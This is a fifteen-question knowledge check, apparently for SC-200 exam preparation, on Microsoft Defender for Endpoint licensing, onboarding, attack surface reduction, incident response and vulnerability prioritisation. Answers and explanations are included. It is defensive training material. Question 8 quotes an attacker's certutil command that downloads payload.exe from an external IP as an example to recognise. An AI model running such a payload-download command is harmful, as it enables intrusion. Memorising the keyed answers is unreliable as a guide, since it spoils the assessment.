Module 2 — Check My Knowledge (15 questions)
1. Your organization has M365 E3 licenses. A SOC analyst opens an endpoint alert and wants to use live response to collect a suspicious file from the device. The option is greyed out. What is the problem?
M365 E3 includes Defender for Endpoint Plan 1, which does not include live response. Live response requires Plan 2 (included in M365 E5 or available as a standalone add-on). Plan 1 provides prevention and basic response actions (isolate, scan) but not the investigation features: device timeline, live response, Advanced Hunting, and automated investigation.
Live response needs to be enabled in Advanced features settings
The device is offline and cannot accept a live response session
The analyst does not have the Security Reader role
The P1 vs P2 distinction is the most common source of confusion in MDE deployments. While enabling live response in Advanced features is also required (and is a valid troubleshooting step for P2 tenants), the fundamental issue here is that P1 does not include the feature at all. Always verify the license tier before troubleshooting feature-level settings.
2. You need to onboard 50 Windows Server 2012 R2 servers to MDE. You download the onboarding script and run it on the first server, but the sensor service does not start. What did you miss?
Windows Server 2012 R2 requires the unified solution MSI package to be installed before running the onboarding script. The MDE sensor is not built into Server 2012 R2 (unlike Server 2019+). The correct sequence is: install the unified solution package first, then run the onboarding script. Without the unified solution, the onboarding script has no sensor service to configure.
Server 2012 R2 is not supported by MDE
You need to reboot the server after running the script
The server needs .NET Framework 4.8 or later
This is the single most tested MDE onboarding concept on the SC-200 exam. Server 2012 R2 and Server 2016 both require the unified solution package because the sensor is not built into those operating systems. Server 2019, 2022, and 2025 have the sensor built in and only need the onboarding script. Always check the OS version before choosing the onboarding procedure.
3. A device was onboarded 4 hours ago but does not appear in the portal. The onboarding script completed without errors. What is your first troubleshooting step?
Run the MDE client analyzer tool to test connectivity to the cloud service endpoints. Ninety percent of onboarding failures are caused by network connectivity issues — firewalls, proxies, or SSL inspection blocking the required Microsoft URLs. The analyzer identifies the specific endpoint that is blocked and the failure reason, directing you to the exact network configuration change needed.
Reboot the device and wait another 4 hours
Reinstall the operating system and re-onboard
Check whether the device has an E5 license assigned
Normal onboarding takes 5-30 minutes. Four hours without portal visibility is a definitive failure, not a delay. The client analyzer tool is purpose-built for this diagnosis — always run it first. The most common blockers are web proxies requiring authentication that the sensor cannot provide, firewalls blocking HTTPS to Microsoft cloud endpoints, and SSL inspection appliances that break the certificate chain.
4. You deploy all ASR rules in block mode on Monday. On Tuesday, the finance team reports that their automated Excel reporting macro no longer generates reports. What went wrong and what is the correct fix?
The "Block Office applications from creating child processes" rule is blocking the macro from launching the child process that generates the report (likely PowerShell or cmd.exe). The fix: revert this specific rule to audit mode for the finance device group, create a per-rule exclusion for the specific reporting script path, verify the exclusion works in audit mode, then re-enable block mode with the exclusion. The root cause is skipping the audit phase — 30 days in audit mode would have identified this false positive before it disrupted operations.
Disable all ASR rules — they are not compatible with macros
Add the entire C:\Users\Finance folder to the global exclusion list
Tell finance to rewrite the macro without child processes
The three-phase deployment methodology (audit → warn → block) exists to prevent this exact scenario. The fix is targeted: revert only the affected rule, create a narrow exclusion for only the specific process, and re-enable. Never disable all rules because of one false positive. Never create broad directory exclusions that an attacker could exploit. Incremental deployment limits the blast radius of missed false positives.
5. ASR blocks a Word document from spawning cmd.exe on a user's workstation. The block was successful — no malware executed. Is the investigation complete?
No. The block prevented execution on this device, but you still need to investigate: where did the malicious document come from (email, file share, USB)? Who else received it? Did the same document reach devices where ASR is in audit mode or disabled? Does the attack pattern indicate a targeted campaign? ASR stopped the immediate threat — the investigation determines the scope and prevents recurrence across the organization.
Yes — the attack was blocked, no harm done, close the alert
Only if the user reports being phished separately
Only investigate if the document was an email attachment
A blocked attack is a detected attack attempt. The attacker is still active — they sent the document, which means they may have sent it to other users and other devices may have received it without ASR protection. Investigation after a block event follows the same methodology as investigation after a successful attack: trace the delivery vector, scope the campaign, and harden defenses to prevent the next attempt.
6. Your organization uses CrowdStrike as the primary antivirus. MDE is deployed for EDR telemetry and investigation capabilities. Microsoft Defender Antivirus is in passive mode. A new malware variant bypasses CrowdStrike. Which MDE configuration provides a safety net?
EDR in block mode. When Defender Antivirus is passive, EDR in block mode allows the EDR behavioral engine to block malicious artifacts it detects — even though Defender Antivirus is not actively protecting. This acts as a secondary defense layer: if the primary antivirus misses a threat, MDE's behavioral analysis can still block it in real time.
Cloud-delivered protection — it updates faster than CrowdStrike
Custom detection rules that run every hour
Tamper protection to prevent CrowdStrike from disabling Defender
EDR in block mode is specifically designed for dual-AV environments. Cloud-delivered protection requires Defender Antivirus to be in active mode to take blocking actions. Custom detection rules generate alerts but run on a schedule (not real time) and do not block. EDR in block mode provides real-time behavioral blocking that complements the primary antivirus — the exact safety net needed when the primary misses a threat.
7. During an incident, you identify an attacker C2 server at IP 203.0.113.47. You need to block all endpoint communication with this IP immediately, including for employees working remotely from home. What do you configure?
Create an IP indicator in Settings → Endpoints → Indicators with the action "Alert and block." MDE indicators enforce blocking at the endpoint level regardless of the device's network location. Unlike a corporate firewall block (which only protects devices on the corporate network), MDE indicators travel with the device and block the IP on any network — office, home, hotel, coffee shop.
Add a firewall rule to block the IP at the network perimeter
Create a custom detection rule that alerts on connections to the IP
Isolate all devices that previously connected to the IP
MDE indicators provide endpoint-level network blocking that works regardless of network location. This is critical for remote workers who are outside the corporate firewall. Firewall rules only protect on-network devices. Custom detection rules alert but do not block, and run on a schedule. Isolating previously connected devices is a containment action for already-compromised devices, not a preventive block — in practice, you would do both: create the indicator to prevent future connections AND investigate devices with past connections.
8. The device timeline shows certutil.exe running with the flags -urlcache -split -f http://203.0.113.47/payload.exe. The parent process is powershell.exe. What is happening?
The attacker is using certutil.exe (a legitimate Windows certificate utility) as a living-off-the-land binary (LOLBin) to download a payload from their C2 server. The -urlcache -split -f flags abuse certutil's cache functionality as a file downloader. This technique is popular because certutil is a signed Microsoft binary that many security tools trust by default. The parent process (PowerShell) likely came from an earlier stage in the attack chain. Actions: block the C2 IP, quarantine the downloaded file, investigate what happened after the payload was written to disk.
Certutil is performing a routine certificate update from Microsoft
The user is manually downloading a certificate for a web server
PowerShell is updating its certificate store
LOLBin abuse is one of the most common attacker techniques because it uses trusted system binaries to perform malicious actions without dropping custom malware. Certutil does not legitimately download executable files from external IPs. The combination of PowerShell as the parent process and certutil downloading an .exe from an external IP is a textbook payload delivery chain. This pattern is detectable through the LOLBin detection query from subsection 2.5.
9. Investigation confirms a workstation is compromised with active C2 communication. What is the correct response action sequence?
Collect investigation package → isolate the device → contain the user → restrict app execution. Collection captures live network state before isolation terminates it. Isolation stops C2 and lateral movement. Containing the user prevents compromised credentials from being used on other devices. App restriction prevents dormant payloads from executing during investigation.
Isolate immediately, then collect the investigation package
Run an antivirus scan first, then isolate if malware is found
Ask the user to disconnect from the network and bring the device to IT
The collect-before-isolate rule exists because isolation destroys live network evidence — active C2 connections, DNS cache, and in-memory session data are lost when network access is terminated. Running a scan first wastes 30-60 minutes during active compromise. Asking the user to disconnect is unreliable and may alert the attacker that they have been detected. The automated response sequence is faster, more reliable, and preserves forensic evidence.
10. A compromised network printer is being used as a pivot point for lateral movement. It cannot run the MDE sensor. How do you contain it?
Use the "Contain device" action in the Defender portal. This instructs every onboarded device to block all communication with the printer's IP and MAC address. The printer becomes effectively quarantined from all managed endpoints. For complete containment, also coordinate with the network team to shut down the printer's switch port, since unmanaged devices on the same network segment can still reach it.
Isolate it using the device page
MDE cannot respond to devices without the sensor installed
Create a firewall rule to block the printer's IP
"Contain device" is specifically designed for unmanaged devices. Device isolation requires the sensor to be installed. "Contain device" works by instructing all onboarded devices to block the target — creating a virtual quarantine enforced by every managed endpoint on the network. This is one of the few ways to contain a compromised IoT device, printer, or legacy system that cannot run modern endpoint protection.
11. Your organization just deployed MDE with AIR. The SOC team has no prior experience with automated investigation. What automation level should you configure, and why?
Semi — require approval for any remediation. This gives the team AIR's investigation benefits (immediate automated analysis of every alert) while requiring human approval for all remediation actions. Over 30-60 days, the team reviews AIR's recommendations, builds confidence in its accuracy, and identifies environment-specific false positive patterns. After this learning period, device groups with consistently high approval rates (95%+) can be upgraded to full automation.
Full automation from day one for maximum protection
No automated response — manual investigation only until the team is trained
Full for workstations, no automation for everything else
The progressive approach — start semi, escalate to full after building confidence — balances protection speed with operational safety. Full automation from day one risks disrupting business processes if AIR misclassifies a legitimate file in an environment the team does not yet understand. No automation wastes AIR's investigation capability. Semi-auto lets the team learn from AIR's analysis while maintaining a human safety net for remediation decisions.
12. The Action Center shows 12 pending remediation actions that have been waiting for 5 days. What operational problem does this indicate?
The SOC is not reviewing pending actions as part of the shift routine. Each pending action represents an identified threat that AIR analyzed and recommended remediation for — but no analyst approved it. For 5 days, those threats have remained active. This is a process failure: the shift-start routine should include clearing all pending actions. If the team consistently cannot keep up, the device groups should be upgraded to full automation for action types that are always approved.
AIR is generating false positives that should be ignored
12 pending actions over 5 days is normal volume
The pending actions will auto-approve after 7 days
Stale pending actions represent a gap between detection and response. AIR identified threats and recommended specific remediations. The SOC's failure to review them means malicious files remain on disk, persistence mechanisms remain active, and attacker tools remain available for use. Pending actions do not auto-approve — they wait indefinitely until an analyst acts. This gap is exactly what full automation addresses for well-understood, high-confidence alert types.
13. TVM shows 200 critical CVEs across your device fleet. You can patch 20 this week. How do you prioritize?
Use TVM's recommendations page, which ranks by combined impact: CVEs with publicly available exploit code affecting devices with high exposure levels (internet-facing, holding sensitive data, or part of attack paths to critical assets). A CVE with CVSS 7.0 and a Metasploit module targeting your internet-facing Exchange server is higher priority than a CVSS 9.8 CVE that requires local physical access to an air-gapped workstation. TVM pre-computes this prioritization — start from the top.
Patch the 20 with the highest CVSS scores
Patch the oldest CVEs first — they have been exposed the longest
Patch workstations first because they have the most vulnerabilities
CVSS score alone is insufficient for prioritization. TVM's value is contextual risk assessment: which vulnerabilities are most likely to be exploited in your specific environment, considering exploit availability, active threat campaign alignment, device exposure level, and attack path analysis. The recommendations page already computes this prioritization — it is the tool that answers "which 20 should we fix first" without requiring manual analysis of all 200.
14. The device timeline shows rundll32.exe opening explorer.exe using CreateRemoteThreadApiCall, followed by explorer.exe making outbound HTTPS connections to an IP address it has never connected to before. What happened?
Process injection. rundll32.exe injected code into explorer.exe by creating a remote thread in its memory space. The injected code (now running inside the trusted explorer.exe process) is establishing C2 communication to the external IP. The attacker chose explorer.exe because it is always running, is trusted by security tools, and its network activity might not be flagged because Explorer occasionally makes legitimate web connections. Investigate the external IP, check for additional injected processes, and trace back to what launched rundll32.exe to find the initial access vector.
Normal Windows behavior — Explorer regularly connects to external services
DLL sideloading — rundll32 loaded a malicious DLL from explorer's directory
A Windows update is being downloaded through the Explorer process
CreateRemoteThreadApiCall is the definitive indicator of code injection. The subsequent novel outbound connection from explorer.exe confirms the injected code is operating — establishing C2 communication from within a trusted process to evade process-based detection. The investigation must trace backward (what launched rundll32?) and forward (what else did the injected explorer.exe do?). MITRE ATT&CK: T1055 (Process Injection) followed by T1071 (Application Layer Protocol) for C2.
15. Attack disruption automatically isolates the CFO's workstation and disables the CFO's account during a detected ransomware attack. The CFO's assistant demands immediate restoration. What do you do?
Review the attack disruption evidence in the incident timeline before making any changes. Attack disruption triggers at a high confidence threshold with cross-product signal correlation. If the evidence supports the ransomware classification (encryption behavior detected, suspicious process chain, C2 communication), the disruption was correct and the device must remain isolated until remediation is complete. Explain that the automated containment prevented potential data loss. If the evidence is weak and the disruption appears to be a false positive (extremely rare), reverse the actions after documenting your reasoning and obtaining approval from your incident commander.
Restore access immediately — executive productivity takes priority
Disable attack disruption to prevent future false positives
Escalate to the CISO and do nothing until they decide
Evidence-first decision making applies regardless of the affected person's seniority. Attack disruption operates at high confidence with cross-product correlation — reversing it without reviewing the evidence risks enabling active ransomware to continue encrypting files. The 3-minute automated containment may have prevented catastrophic data loss. Disabling disruption removes a critical automated defense from the entire organization. The correct approach: review evidence, verify classification, then decide based on technical facts — not organizational pressure.
